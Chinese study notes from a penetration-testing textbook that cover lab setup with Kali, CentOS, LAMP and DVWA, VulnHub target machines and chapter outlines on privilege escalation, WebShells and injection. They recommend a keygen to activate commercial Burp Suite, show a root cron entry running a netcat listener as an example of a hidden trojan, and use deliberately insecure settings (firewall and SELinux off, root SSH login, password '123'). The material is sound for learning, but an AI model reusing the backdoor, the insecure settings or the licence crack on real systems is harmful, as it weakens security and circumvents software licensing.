渗透测试理论与实践

 

全文参考:来自书籍《渗透测试理论与实践》

靶场文件下载

 

BupLoaderKeygen和 DVWA 的下载地址:
1)Github 下载地址
https://github.com/h3110w0r1d-y/BurpLoaderKeygen
2)网盘下载地址:
https://pan.baidu.com/s/1XTu6riBMf0lfFOhbXdHzlQ?pwd=9999
靶机的 VMware 虚拟机镜像下载地址:
https://download.vulnhub.com/meandmygirlfriend/Me-and-My-Girlfriend-1.ova

 

环境来源

本书中所使用的靶机全部来自VulnHub(https://www.vulnhub.com/),这是一个全球知名的开源靶场,我们可以从网站中下载靶机镜像,然后直接导入VMware虚拟机中使用

除了靶机,本书还引用了大量CTF例题,这些例题主要来自以下网站。这些网站都是知名的公共学习平台,网站中所有题目都是免费的。
BUUCTF : https://buuoj.cn/challenges

攻防世界:https://adworld.xctf.org.cn

Bugku : https://ctf.bugku.com/

青少年CTF :https://www.qsnctf.com/
另外需要强调的是,如果未取得授权,切记一定不要在真实环境中进行渗透测试,否则就是违法行为。本书中的所有操作都是在实验环境中进行的。

exploit漏洞利用程序查找网站,笔者推荐一个网站Exploit-DB (          https://www.exploitdb.com        )Exploit-DB是KaliLinux官方团队维护的一个安全项目,这是一个面向全世界安全爱好者的漏洞提交平台,在这个平台里提供了大量的针对不同系统不同应用的exploit,是公认的世界上最大的搜集漏洞的数据库。

 

Kali的官网是https://www.kali.org,可以从官网免费下载最新的Kali系统。

CentOS的官网是www.centos.org,但笔者推荐从国内的镜 站阿里云开源像(https://developer.aliyun.com/mirror/)下载CentOS镜像。截至笔者截稿,CentOS的最新版本是CentOS8,这里推荐下载较为成熟且应用更为广泛的CentOS 7版本

在CentOS 7系统中,由于提供了network和NetworkManager两种不同的网络服务,有时会因为这两种服务的冲突而导致IP地址等网络参数丢失问题。
当执行ifconfig ens33命令后,发现ens33网卡没有IP地址,这说明出现冲突了。这时可以单击桌面右上角的电源按钮,将“有线”设置为“已连接”即可。

 

远程登录的工具有很多,如SecureCRT、putty等,这里推荐使用Xshell,这是一款商业软件(官网为https://www.xshellcn.com/)​,读者可以从https://www.xshell.com/zh/free-for-home-school/下载免费的试用版。

 

Burp Suite是一款商业软件,官网地址是https://portswigger.net/burp。官网提供了免费的community社区版。

首先,从Burp Suite官网下载安装文件(网址为https://portswigger.net/burp/releases)。注意:下载时要选择JAR格式的Burp Suite

Burp Suite运行时需要Java环境,所以还需要从Oracle官网下载并安装JDK。JDK的网址为https://www.oracle.com/java/technologies/java-se-glance.html,我们选择一个最新版本的即可。

专业版Burp Suite是商业软件,为了使用全部功能,可以从Github下载激活工具BurpLoaderKeygen,下载链接为https://github.com/h3110w0r1d-y/BurpLoaderKeygen。如果Github无法访问,也可以从本书的资源中获取。

 

 ctf-wscan的Github下载地址为https://github.com/kingkaki/ctf-wscan.git,可以使用git clone命令在Kali中直接下载。ctf-wscan是一款专门针对CTF比赛的扫描工具,字典文件比较小,因而扫描速度也非常快。

 

image

 D盾是一款著名的免费WebShell查杀工具(官网为https://www.d99net.net/)​。利用D盾对网站目录进行扫描,很快就发现了WebShell。接着在文件中就可以找到密码

WordPress的安装文件可以从官网下载。WordPress的官方中文网站网址是https://cn.wordpress.org/,这里推荐下载相对较旧的5.1版本,在下载时要注意选择下载“.tar.gz”格式的压缩包,这种格式的压缩包主要是用于Linux平台。

 

 蚁剑是一个著名的开源项目,项目地址为https://github.com/AntSwordProject。蚁剑包括主程序和加载器两部分,需要分别下载,下载解压之后,会生成一个名为antSword-master的目录,在该目录中是蚁剑的各种程序文件,但是没有可执行文件。因此,要使用蚁剑,还需要使用专门的加载器。

 

image

 

 

 

 

 

一些解密工具:

https://www.somd5.com/    让人无语的md5

 

https://ctf.bugku.com/tools     bugku工具箱

 

https://tool.oschina.net/encrypt?type=3       在线加解密

 

 

 

 

 

 

 

常用命令

ifconfig eth0 IP 如果没有IP地址,可以执行命令设置IP需要注意,IP地址应该与NAT模式的网段保持一致,例如在笔者的实验环境中,NAT模 式使用的是192.168.80.0/24网段。
route -n命令可以查看默认网关

image

 route add default gw网关地址   如果没有默认网关,可以执行命令添加默认网关。

cat /etc/resolv.conf命令可以查看DNS服务器

netstat命令,Windows还是Linux系统中都自带了,这是一个非常重要的网络命令,通过它就可以查看当前系统正在使用哪些端口与网络上的其他主机在进行通信。

  执行netstat -an命令查看端口状态。最后一列的ESTABLISHED表示它们之间建立了一个连接,目前正处于通信状态。

    image

 

 

 

ping命令,我们可以查出51CTO博客的IP,即203.107.44.140

curl是在大部分Linux系统中自带的一个工具,在Kali中执行curl www.baidu.com命令就可以向百度发出HTTP请求,并显示所接收到的HTTP响应,HTTP协议所传输的主要是HTML代码,浏览器可以解析这些代码,但是curl命令则只能将代码原样显示。

 

 

 

 

设置中文语言包

安装中文语言包,然后就可以将系统设置为中文界面了,首先,修改系统安装源配置文件,执行命令如下

vim /etc/apt/sources.list

在文件中将原有的安装源注释禁用,然后再新添加两个设置项,将安装源设置为阿里云开源镜像站

image

 修改完成后,再执行下面的命令,更新软件索引列表:

apt-get update

执行下面的命令安装中文语言包字体

apt-get install xfonts-intl-chinese ttf-wqy-microhei

执行下面的命令将系统语言设置为zhCN.UTF-8

dpkg-reconfigure locales

image

 执行reboot命令,重启系统。重启之后,就可以发现系统已经切换到中文界面。

关闭Centos的NetworkManager服务

为了彻底避免这个地址冲突问题,还是建议为CentOS虚拟机设置一个固定的静态IP地址,并且关闭NetworkManager服务。

执行下面的命令,修改网卡配置文件

[root@CentOS ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens33

在网卡配置文件中,首先需要修改原有的两个设置项

BOOTPROTO=static
ONBOOT=yes
IPADDR=192.168.80.140
NETMASK=255.255.255.0
GATEWAY=192.168.80.2 DNS1=223.5.5.5

BOOTPROTO设置项的默认值是dhcp,表示使用动态IP地址,修改为static,表示要设置静态地址。

[root@CentOS ~]# systemctl restart network

剩余部分自行百度。

关闭并禁用NetworkManager服务

[root@CentOS ~]# systemctl stop NetworkManager 
[root@CentOS ~]# systemctl disable NetworkManager

配置yum源

执行下面的命令,将默认的yum源文件全部删除:

[root@CentOS ~]# rm -f /etc/yum.repos.d/*

再执行下面的命令从阿里云开源镜像站下载yum源文件:

[root@CentOS ~]# wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo

至此,CentOS的yum源就设置好了。

关闭防火墙和selinux

对于CentOS,还需要再做最后一项配置,即关闭防火墙和SELinux。CentOS主要是用作服务器,会接收到很多来自客户端的访问请求,而防火墙和SELinux默认会拦截所有的访问请求,导致服务无法被正常访问。虽然可以通过设置防火墙和SELinux来放行客户端的访问请求,但对于初学者来说,这无疑存在很大难度,因而建议直接将防火墙和SELinux全部关闭,以防止它们对后续操作的干扰。

#停止运行防火墙服务 
[root@CentOS ~]# systemctl stop firewalld

#禁止开机自动运行防火墙
[root@CentOS ~]# systemctl disable firewalld

#临时关闭selinux
[root@CentOS ~]# setenforce 0

修改配置文件/etc/selinux/config,将其永久关闭。

[root@CentOS ~]# vim /etc/selinux/config

在配置文件中将设置项SELINUX的值修改为disabled:

SELINUX=disabled

修改kali默认不允许root用户远程登录

由于Kali默认不允许root用户远程登录,所以首先需要在Kali中修改SSH服务的配置文件/etc/ssh/sshd_config,命令如下:

┌──(root㉿kali)-[~]
└─# vim /etc/ssh/sshd_config

将配置文件中“PermitRootLogin”设置项的默认值“prohibit-password”修改为yes,从而允许root用户远程登录:

PermitRootLogin yes

修改完成后,还需要重启SSH服务,使设置生效,再将SSH服务设置为开机自动运行:

┌──(root㉿kali)-[~]
└─# systemctl restart ssh
┌──(root㉿kali)-[~]
└─# systemctl enable ssh

至此,Kali的配置就完成了,最后在Xshell中创建会话并连接即可。

 

 

linux定时任务crontab学习

Linux系统对计划任务的数量没有限制,我们可以根据需要设置任意多条计划任务。每条计划任务都由时间周期和任务内容两部分组成。

时间周期用于指定任务重复执行的时间规律,任务内容用于指定具体要执行的操作。配置计划任务的重点和难点是如何设置时间周期,时间周期必须要遵循“分钟小时 日期月份 星期”的格式,所指定的操作在“分钟+小时+日期+月份+星期”都满足的条件下才会执行。另外,在时间周期设置中,没有设置的位置也要用“*”号占位。

image

 例如,设置计划任务,在每天14:25自动执行echo "Hello World"命令,配置如下:

25 14 * * * /usr/bin/echo "Hello World"

在配置计划任务时,所使用的命令建议加上绝对路径。如果不知道命令的绝对路径,可以通过which命令查找。例如,查找echo命令的绝对路径:

[root@CentOS ~]# which echo
/usr/bin/echo

第一种方式是直接执行crontab -e命令为当前用户设置计划任务。

执行crontab -e命令之后,将打开计划任务编辑界面(其实就是vi编辑器),通过该界面,用户可以自行添加具体的任务配置,配置文件中的每行代表一条记录。

Linux中一切皆文件,通过这种方式配置的计划任务,会自动保存在/var/spool/cron/目录下以用户名命名的文件中。例如,使用root身份配置的计划任务,就保存在/var/spool/cron/root文件中,以admin身份配置的计划任务,就保存在/var/spool/cron/admin文件中。

另外,通过执行crontab -l命令也可以查看当前用户是否已经配置了计划任务:

[root@CentOS ~]# crontab -l 0 7 * * * /usr/bin/bash

第二种方式是修改系统文件/etc/crontab,在文件中为指定用户配置计划任务。

与第一种方式不同的是,在/etc/crontab文件中配置的计划任务,还必须要指定用户。这是因为第一种方式配置的是用户计划任务,是专为某个具体用户配置的。而这里配置的是系统计划任务,可以为系统中的所有用户进行配置。

image

 第三种方式是在/etc/cron.d目录中创建的任何文件,只要文件内容遵循了计划任务的配置格式,那么就会被当作计划任务去执行。

例如下面的/etc/cron.d/test文件,针对root用户设置了一项计划任务。

[root@CentOS ~]# cat /etc/cron.d/test
[root@localhost cron.d]# cat test
19 11 * * * root /usr/bin/nc -lp 6000

从系统维护的角度来看,我们应当经常去检查这3个位置:/var/spool/cron/目录、/etc/crontab文件、/etc/cron.d/目录,仔细观察这些地方是否被添加了计划任务,从而及时发现隐藏的木马或者病毒。例如,当前靶机就是通过/etc/cron.d/php5文件设置了计划任务。

 

 

 

搭建LAMP平台

渗透测试主要是指针对网站的Web渗透测试,要学习Web渗透测试。

搭建网站的方法有很多,很多初学者通常利用phpStudy之类的模拟软件来一键搭建网站,但本书更加推荐在CentOS系统中搭建一个真实的网站。当然,这会涉及大量的操作,整体比较烦琐,但只有这样,才能为我们的学习奠定良好的基础,我们才能对网站以及整个服务器有更为深入的理解。因为我们所需要的并非仅仅只是一个可以运行的网站,而是要从整个服务器的角度去了解网站的整体架构,以及如何对网站进行维护和配置。

笔者强烈建议读者购买一台云服务器,这将非常有助于提高大家的实践能力。如果读者掌握了下面介绍的搭建LAMP网站平台的方法,您将自然而然地精通云服务器的配置。

什么是LAMP网站

即Web服务器,主要由以下4个部分组成:操作系统、Web容器、脚本语言程序、数据库。

(1)操作系统主要是Linux和Windows Server,目前绝大多数的服务器采用的都是Linux系统,尤其是CentOS,因为它本身就是一个专门用于服务器的操作系统。本书推荐使用CentOS 7。

(2)Web容器是用于提供Web服务的服务程序,就像在客户端必须要借助于浏览器才能访问网站一样,在服务器端也同样要借助于Web容器才能提供Web服务。目前常用的Web容器主要有Apache、Nginx和IIS等,本书使用的是Apache。

(3)除了Apache这类Web服务程序,还需要安装脚本语言程序与之配合。因为Apache或Nginx默认只支持对静态资源的访问,本身并不具备执行脚本程序的能力。而目前的网站基本上都是采用动态资源,这就必须要借助于外部程序来运行脚本程序,如ASP.NET、PHP或JSP等。本书使用的脚本程序是PHP。

(4)数据库也是网站的核心组成部分,因为网站中的绝大部分数据都是存储在数据库中的。数据库也有很多不同种类,本书使用的是在中小型网站中广泛应用的MySQL数据库。

 

综合以上,我们下面要搭建的Web服务器使用的是Linux操作系统、Apache容器、MySQL数据库、PHP脚本程序,因而合称LAMP(Linux+Apache+MySQL+PHP)。

安装LAMP

在部署LAMP时,软件安装的一般顺序是Apache→PHP→MySQL。

1.安装Apache

Apache的软件名和所对应的服务名都是httpd,执行下面的命令安装并启动httpd服务,并将其设为开机自动运行:

[root@CentOS ~]# yum install httpd -y
[root@CentOS ~]# systemctl start httpd
[root@CentOS ~]# systemctl enable httpd

由于Apache中已经设置好了一个默认的Web站点,因而这时在客户端输入Web服务器的IP地址就可以访问默认网站了。如果在客户端无法正常访问,那多半是由于防火墙或SELinux的原因,因此用户需要将服务端的防火墙和SELinux关闭。

image

 2.安装PHP

Apache本身只支持对静态资源的访问,所以接下来需要接着安装PHP。

PHP安装包的名称就是php,CentOS 7系统中所提供的PHP版本是5.4.16。同时,还要再安装一个软件包php-mysql,只有安装了这个软件包之后,PHP才可以操作MySQL数据库:

[root@CentOS ~]# yum install php php-mysql

需要注意的是,PHP并不是一个独立的服务,而是被视作Apache的一个功能模块,因而在安装完PHP之后,需要重启httpd服务才能生效。

[root@CentOS ~]# systemctl restart httpd

下面测试Web服务器是否可以支持PHP动态页面。首先,在网站主目录/var/www/html中生成一个PHP的测试网页test.php,页面代码中只有一个phpinfo( )函数。当客户端访问test.php页面时,会先在服务器端执行该函数,然后将函数的执行结果返回给客户端。

<?php
phpinfo( );
?>

然后,在客户端浏览器中输入URL地址“http://服务器IP/test.php”来访问该测试页面,如果成功出现PHP测试页面,则证明Apache已经可以支持PHP动态网页了。

image

 3.安装MySQL

在CentOS 7系统中默认提供的是MySQL的分支MariaDB,但MariaDB与MySQL完全兼容,所以完全可以使用它作为MySQL的替代品。

MariaDB服务的安装包名称为mariadb-server,安装完软件之后,启动服务,并将其设为开机自动运行:

[root@CentOS ~]# yum install mariadb-server -y
[root@CentOS ~]# systemctl start mariadb
[root@CentOS ~]# systemctl enable mariadb

下面还需要对MariaDB做一些初始化的操作,主要是设置MariaDB的管理员密码。MariaDB的管理员账号也叫root,但并非Linux中的根用户,它们只是名字相同而已。

可以利用CentOS中的mysqladmin命令为MariaDB的管理员账号设置密码,为了方便之后的操作,笔者这里使用了弱口令123:

[root@CentOS ~]# mysqladmin -u root password "123"

然后,就可以利用客户端工具mysql来登录MariaDB了,成功登录之后可以进入MariaDB的交互模式,使用quit或exit命令即可退出:

[root@CentOS ~]# mysql -uroot -p123

下面测试是否可以利用PHP来连接MariaDB数据库。在网站主目录/var/www/html中创建一个测试页面test2.php,页面代码如下。

<?php
$conn=mysql_connect("127.0.0.1","root","123");
if ($conn) {
         echo "success";
}else{
         echo "fail";
}
mysql_close($conn);
?>

这段代码表示以root用户的身份,使用密码123来连接位于本地服务器上的MariaDB数据库,如果连接成功,则输出success,否则输出fail。

在客户端浏览器通过URL地址“http://服务器IP/test2.php”访问该测试页面,如果出现success,则表示之前的配置全部成功。

至此,一个功能完备的LAMP平台就搭建好了。

 安装DVWA

搭建好LAMP环境之后,我们继续通过安装一个真实的网站,从而更加真切地了解网站的整体架构,这里要安装的网站是DVWA(Damn Vulnerable Web App)。

DVWA是用PHP+MySQL编写的一套用于常规Web漏洞教学和检测的测试网站,包含了SQL注入、命令执行、文件上传等常见的一些安全漏洞,是一个非常好的Web安全实验平台。

目前DVWA的最新版本是1.9,对于初学者,笔者这里推荐使用相对较旧的版本DVWA-1.0.8。DVWA压缩包可以从本书的资源中获取。

下面介绍DVWA的安装过程

 首先,将下载的压缩文件上传到网站主目录/var/www/html中,推荐使用Xshell连接到CentOS虚拟机,这样就可以将物理主机中的文件直接拖到虚拟机中了。

然后,用unzip命令解压,并将解压后生成的目录改名为dvwa:

[root@CentOS ~]        # cd /var/www/html
[root@CentOS html] # unzip DVWA-1.0.8.zip
[root@CentOS html] # mv DVWA-1.0.8 dvwa

修改网站配置文件:

[root@CentOS html]# vim dvwa/config/config.inc.php

这里需要将配置文件中的“$_DVWA[ 'db_password' ]​”修改为我们之前为MariaDB的root用户设置的密码,也就是在安装完MariaDB后用mysqladmin命令所设置的密码,本书设置的密码是123。

DVWA中的核心数据都是存放在数据库中的,所以这里必须要告知网站MySQL的账号和密码,这样网站才能连接到MySQL并对其进行操作。

image

接下来就可以在客户端浏览器中访问DVWA了,DVWA在CentOS中的路径为/var/www/html/dvwa,所以它的URL地址就是“http://虚拟机IP/dvwa”​。

 首次登录会提示我们去安装数据库。

image

 单击here超链接之后,在设置页面中单击Create/ResetDatabase按钮创建数据库,成功安装后会出现“Setup successful!”的提示。

image

再次访问URL地址“http://虚拟机IP/dvwa”​,就会出现DVWA的登录页面,如图1-43所示。默认的用户名和密码是admin和password。

image

 至此,DVWA安装完成,我们的整个实验环境也搭建好了。

 

 

 

 

 

 

 

漏洞产生类型

那么,具体哪些地方可能会产生漏洞呢?大概包括以下3个层面。
通信层面:主要是在数据传输过程中存在的一些漏洞如ARP欺骗、明文传输、拒绝服务等。
系统层面:包括操作系统(Linux、Windows)本身,以及系统中运行的各种服务(Apache、Nginx、IS),都可能会存在各种漏洞.
应用层面:主要是指Web应用,即网站。网站是黑客最主要的攻击目标,相应的Web安全也是目前信息安全中最主流的一个分支。Web安全中涉及的漏洞非常多,如SQL注入、命令执行、文件上传、反序列化等:

越权访问漏洞

“越权访问”漏洞是指由于网站开发人员的疏忽导致的漏洞,即在没有对信息进行增、删、改、查时做用户验证,从而导致某个用户可以对其他用户也进行增、删、改、查等操作。

正常情况下,每个用户应该只能看到自己的个人信息,但现在却可以任意查看其他用户的信息,这其实是一种越权行为,因而这种漏洞被称为“越权访问”漏洞。

 

敏感信息泄露

①查看页面源码;

②查看HTTP报文头部;

③查找网站敏感信息。这些方法对于渗透测试同样适用。这里查看页面源码以及HTTP报文头部,都没有发现有价值的信息,那我们可以尝试去查找网站敏感信息。

robots.txt是一种存放于网站根目录下的文本文件,通常用于向搜索引擎的爬虫表明网站中的哪些内容是可以抓取的、哪些内容是不可以抓取的。robots协议虽然并不是一个规范,但是在很多网站中被广泛采用。

网站备份与静态资源:

 备份文件通常以“.bak”作为后缀,例如,将index.php备份为index.php.bak。zip、back、

swp缓存文件,用vi编辑器打开网站主目录中的首页文件index.php,并在其中新插入部分内容。我们在没有保存的情况下,直接关闭了Xshell,此时就会在网站的主目录中自动生成一个名为“.index.php.swp”的缓存文件,通过执行“vim -r”命令即可进行修复,从而还原出文件内容。

 

image

┌──(root㉿kali)-[~]
└─# vim -r .index.php.swp

对网站主目录中存放的文件一定要慎重,尤其不要在网站主目录中随意存放一些静态资源。

 

 

靶机教学

靶机1--ME AND MY GIRL FRIEND

通过本章学习,读者可以达到以下目标:

1.了解nmap扫描以及端口的概念。

2.掌握HTTP协议相关的Web安全知识点。

3.掌握网站前端代码的相关知识点。

4.了解SSH服务以及相关工具的使用。

5.了解sudo权限,并掌握sudo提权

本书中所使用的靶机全部来自VulnHub,这是一个全球知名的开源靶场,读者可以从网站下载靶机的虚拟机镜像,导入VMware中就可以使用。

靶机页面为https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/,在Description中描述了这个靶机的故事背景。

Alice和Bob是一对情侣,但自从Alice到一家私人公司Ceban Corp任职之后,他们之 间就发生了一些变化,Bob感觉Alice对他隐瞒了什么。Bob让我们帮助他找出Alice隐藏在Ceban Corp公司中的秘密。从靶机描述信息中可知,靶机中共有2个flag,我们的目标就是找出这2个flag。

image

 注意:靶机的VMware虚拟机镜像下载地址可以从本书资源中获取。

直接运行下载的ova文件,就可以自动将靶机导入VMware中。如果出现导入失败的提示只需单击“重试”按钮再次导入即可。

靶机导入之后,将靶机的网络模式改为NAT模式,然后启动靶机。

靶机启动之后,会停留在登录界面,但现在我们没有任何账号密码信息,所以不可能登录。

image

 下面通过渗透测试的方式来获取隐藏在靶机中的flag,并成功登录靶机。

 

靶机总结

本章所使用的“ME AND MY GIRLFRIEND: 1”是一个非常简单的入门级靶机,通过这个靶机,我们可以大致了解渗透测试的基本流程。

image

接下来回顾对这个靶机的渗透过程。

首先,用nmap扫描出靶机开放了TCP22和TCP80端口,并获知了所运行的服务版本,这属于是信息收集。

然后,对网站进行渗透,通过越权访问漏洞获得了网站中的用户信息。当然,这个靶机中的网站非常简单,没有提供网站后台管理功能,所以我们也没有获得对网站的管理权限。

接下来,利用撞库漏洞,发现在系统中也存在与网站用户alice同名的用户账号,而且使用了相同的密码,使用该账号通过SSH服务便可成功登录系统。

最后,通过sudo提权,成功获得整个系统的管理权限。

对于渗透测试而言,目的主要有两个:

  • 获取对网站的管理权限。
  • 获取对系统的管理权限,通常需要建立在已经获取了网站管理权限的基础之上。

当然,在真实的渗透过程中,每个环节都存在着很大的不确定性,很可能在进行到某个环节时就被卡住了。最终能否达到渗透目的,主要取决于两个因素:一是目标系统的安全性,二是渗透测试人员的技术实力。

接下来,我们会按照由易到难的顺序,继续通过靶机实战来学习渗透测试。

 

靶机2——DC:1

通过本章学习,读者可以达到以下目标:

1.了解CMS的概念。

2.掌握如何查找并使用exploit。

3.掌握Metasploit的基本用法。

4.掌握SUID提权。

5.了解数据库配置文件。

本章我们继续做第二台靶机“DC:1”​,靶机页面为https://www.vulnhub.com/entry/dc-1,292/,VMware虚拟机镜像下载地址为https://download.vulnhub.com/dc/DC-1.zip

该靶机的难度也是入门级(beginner),靶机中共有5个flag,其中,终极flag存放在root家目录中。

漏洞利用工具

将靶机下载并导入虚拟机,仍是将网络设置为NAT模式,下面开始对这个靶机进行渗透。

首先还是利用nmap进行主机发现。在笔者的实验环境中,扫描出靶机的IP是192.168.80.128。

image

 继续扫描靶机开放的端口,发现共开放了TCP80、TCP22、TCP111这3个端口,如图3-2所示。其中,TCP111是远程调用服务rpcbind的端口,从安全的角度,较少考虑这个端口。下面仍然从TCP80端口对应的Web服务入手开始渗透。

 CMS识别

 对网站进行渗透测试,首先要做的第一步操作通常都是扫描敏感信息。但是这个网站中的内容非常多,如果扫描,则需要花费很长时间,所以这里就不做网站扫描了。关于网站扫描的相关内容后续会详细进行介绍。

在网上搜索Drupal发现,这是一个使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(ContentManagement System,CMS)和PHP开发框架(Framework)共同构成。

这里涉及一个非常重要的概念——CMS。

 我们之前曾在CentOS虚拟机中搭建了LAMP网站平台,即操作系统(Linux)+Web容器(Apache)+数据库(MySQL)+脚本语言(PHP)。

 LAMP其实只是提供了网站运行的基础平台,用户最终访 问的是运行在这个平台上的网站,如我们之前安装的DVWA。

 DVWA是一个专门用于Web安全练习的网站,网站内容是固定的,我们只能使用,但无法对内容进行更改。如果想做一个可以随意更换内容的网站,除了可以从头开发之外,也有很多简便的方法,例如借助于Web开发框架或是Web应用。

 Web开发框架类似于Python中的各种库,即把网站的各种主体结构都已经做好了,基本上已经完成了80%的代码量,用户只需按自己的需求去调用这些框架中所提供的功能,然后再完成其余20%的代码量即可。典型的Web开发框架有ThinkPHP、Django等。

Web应用则是更进一步,直接把整个网站都做好了,用户不需要编写代码,但是可以任意更换网站的内容。典型的Web应用有各种BBS论坛、Blog个人博客以及网站CMS模板等。

互联网中的很多中小型网站其实都是借助于各种Web开发框架或Web应用开发出来的,在这其中,我们尤其关注Web应用,最典型的Web应用就是CMS,即网站模板。如果能挖掘到某个CMS的漏洞,那么大多数使用这种CMS开发的网站通常也会存在同样的漏洞。在渗透测试的过程中,首先要识别目标网站是否是使用CMS开发的,如果是,还要再进一步识别出使用的是哪种CMS以及相应的版本。

回到Drupal,它其实是一个使用PHP语言编写的著名的CMS,连续多年荣获全球最佳CMS大奖。对于这类比较知名的CMS,大部分情况下都能从网上查到很多相关漏洞的资料。

我们使用“Drupal 漏洞”作为关键字搜索,果然查到了很多漏洞利用方法,不过这些漏洞大都是基于某个版本的Drupal,所以这里还需要查出在这个靶机中所使用的Drupal的具体版本。

要识别网站是否使用了CMS,以及所用CMS的版本,可以借助很多工具。当然工具并不是万能的,没有任何一种工具能准确识别出所有的CMS,所以通常都是综合利用各种工具进行参考。

推荐Kali中的whatweb工具,使用该工具可以检测出目标网站的基本信息,其中我们最关心的就是在MetaGenerator中所显示的CMS信息。MetaGenerator表示用来制作或生成该网站的是什么软件程序,即网站所使用的CMS,这里可以看到靶机中的网站使用的CMS版本是Drupal 7。

image

 另外,我们也可以用Firefox浏览器的插件Wappalyzer去对网站进行识别,该插件的使用更为方便。如何搜索安装插件这里不再过多介绍了,其过程与HackBar相同。

安装好Wappalyzer之后访问任何网站时,插件都会自动对网站进行检测识别,这里同样识别出靶机中的网站使用的是Drupal 7。

image

 

 靶机3——Lampiao

通过本章学习,读者可以达到以下目标:

1.区分Linux系统版本和内核版本。

2.掌握脏牛提权方法。

 本章继续做第三台靶机Lampiao,靶机页面为https://www.vulnhub.com/entry/lampiao-1,249/,VMware虚拟机镜像下载地址为https://download.vulnhub.com/lampiao/Lampiao.zip。

 这是在渗透测试入门篇中的最后一台靶机,靶机难度是easy,靶机中只有一个存放在root家目录中的flag,所以这台靶机主要考查如何提权。

 通过这台靶机,一方面我们对之前的知识点进行总结回顾,另一方面可以了解一种比较重要的提权方式——脏牛提权。

 

参考解题文章:https://blog.csdn.net/weixin_65582330/article/details/131049717

 

 

 靶机4——MR-ROBOT:1

通过本章学习,读者可以达到以下目标:

1.了解网站目录扫描。

2.掌握如何暴破Web登录页面。

3.了解WebShell的原理和使用。

4.了解MD5和Hash算法。

5.掌握suid提权和脏牛提权。

下面做第四台靶机“MR-ROBOT: 1”​,靶机页面为https://www.vulnhub.com/entry/mr-robot-1,151/,VMware虚拟机镜像下载地址为https://download.vulnhub.com/mrrobot/mrRobot.ova。

靶机难度介于初级和中级之间,靶机中共有3个flag。

 

靶机5——QUAOAR

 通过本章学习,读者可以达到以下目标:

1.掌握wpscan的基本用法。

2.掌握通过上传插件来上传WebShell。

3.了解一句话木马的原理和使用。

4.掌握PHP用于接收客户端数据的3个预定义变量。

5.了解Linux的计划任务。

下面做第五台靶机“QUAOAR”​,靶机页面为https://www.vulnhub.com/entry/hackfest2016-quaoar,180/,VMware虚拟机镜像下载地址为https://download.vulnhub.com/hackfest2016/Quaoar.ova。

靶机难度为very easy,靶机中共有3个flag。

 

 靶机6——DC:6

通过本章学习,读者可以达到以下目标:

1.掌握针对WordPress的一些渗透测试方法。

2.了解RCE漏洞的原理及利用方法。

3.掌握利用nc获取反弹Shell。

4.进一步了解sudo和nmap的提权操作。

 下面继续做第六台靶机“DC:6”​,靶机页面为https://www.vulnhub.com/entry/dc-6,315/,VMware虚拟机镜像的下载地址为https://download.vulnhub.com/dc/DC-6.zip。

靶机难度为初级,靶机中只有一个存放在root家目录中的flag。

 

靶机7——HACKME:

1通过本章学习,读者可以达到以下目标:

1.掌握SQL注入实战操作。

2.回顾上传WebShell及提权操作。

下面是本篇的第一台靶机“HACKME:1”​,这是一台非常简单的靶机。

靶机页面为https://www.vulnhub.com/entry/hackme-1,330/,VMware虚拟机镜像下载地址为https://download.vulnhub.com/hackme/hackme.ova。

 

靶机8——AI:WEB:1

通过本章学习,读者可以达到以下目标:

1.掌握通过SQL注入来读写系统文件。

2.掌握通过SQL注入来上传WebShell。

3.了解Base64编码。

4.了解UID。

下面来做SQL注入篇的第二台靶机“AI:WEB:1”​,靶机页面为https://www.vulnhub.com/entry/ai-web-1,353/,VMware虚拟机镜像下载地址为https://download.vulnhub.com/aiweb/AI-Web-1.0.7z。

靶机难度为中级(intermediate),靶机中只有一个位于root家目录的flag。

 

 

第11章 文件上传基础

通过本章学习,读者可以达到以下目标:

1.理解文件上传的核心代码。

2.了解文件上传的防御方法。

3.掌握如何绕过文件上传的防御。

大多数网站通常都会提供文件上传的功能,如用户上传头像、编写文章上传附件等。

只要网站允许上传文件,就有可能会存在文件上传漏洞。借助于上传漏洞,黑客有可能直接上传一个WebShell到网站里,从而获得整个服务器的操作权限。因而文件上传漏洞的危害也是比较大的。

 

 

第12章 文件包含基础

通过本章学习,读者可以达到以下目标:

1.掌握通过文件包含读取系统敏感文件。

2.掌握通过文件包含执行图片马。

3.掌握文件上传的进阶方法。

4.掌握php://伪协议的使用。

为了实现代码复用,减少重复工作量,文件包含在程序开发中被大量使用。

如果网站开发人员对允许包含的文件没有进行严格控制,就很有可能会形成漏洞。

本章以PHP语言为例,详细介绍文件包含漏洞的形成原因,以及相应的利用方法。

 

第13章 靶机9——INCLUSIVENESS: 1

通过本章学习,读者可以达到以下目标:

1.掌握FTP基本操作。

2.掌握通过文件包含执行WebShell。

3.掌握通过修改环境变量实现命令劫持。

“INCLUSIVENESS: 1”是本篇的第一台靶机,靶机页面为https://www.vulnhub.com/entry/inclusiveness-1,422/,VMware虚拟机镜像下载地址为https://download.vulnhub.com/inclusiveness/Inclusiveness.ova。靶机难度为中级,靶机中只有一个flag:/root/flag.txt。

 

第14章 靶机10——PWNLAB: INIT

通过本章学习,读者可以达到以下目标:

1.掌握通过代码审计来构造相应的payload。

2.掌握通过文件包含执行图片马。

3.掌握命令劫持。

“PWNLAB: INIT”是本篇的第二台靶机,靶机页面为https://www.vulnhub.com/entry/pwnlab-init,158/,VMware虚拟机镜像下载地址为https://download.vulnhub.com/pwnlab/pwnlab_init.ova。靶机难度为low,靶机中只有一个位于root家目录的flag。

 

第15章 靶机11——BILLU: B0X

通过本章学习,读者可以达到以下目标:

1.掌握通过代码审计实现SQL注入。

2.掌握通过代码审计实现文件上传。

3.掌握通过代码审计实现文件包含。

“BILLU: B0X”是本篇的第三台靶机,也是本书的最后一台靶机。

靶机难度虽然是medium,但涉及了SQL注入、文件包含、文件上传这3种主流的Web安全漏洞,而且在渗透过程中还需要对大量代码进行审计。

靶机页面为https://www.vulnhub.com/entry/billu-b0x,188/,VMware虚拟机镜像下载地址为https://download.vulnhub.com/billu/Billu_b0x.zip。靶机中没有设置flag,只要求我们通过渗透测试获取root权限。

 

 

 

 

 

 

工具使用

nmap扫描

常用指令

-sV选项,这个选项的作用是在探测开放端口的同时,检测该端口对应的服务以及版本信息。

-sn选项,它的作用是以ping方式扫描,同时不扫描开放端口。

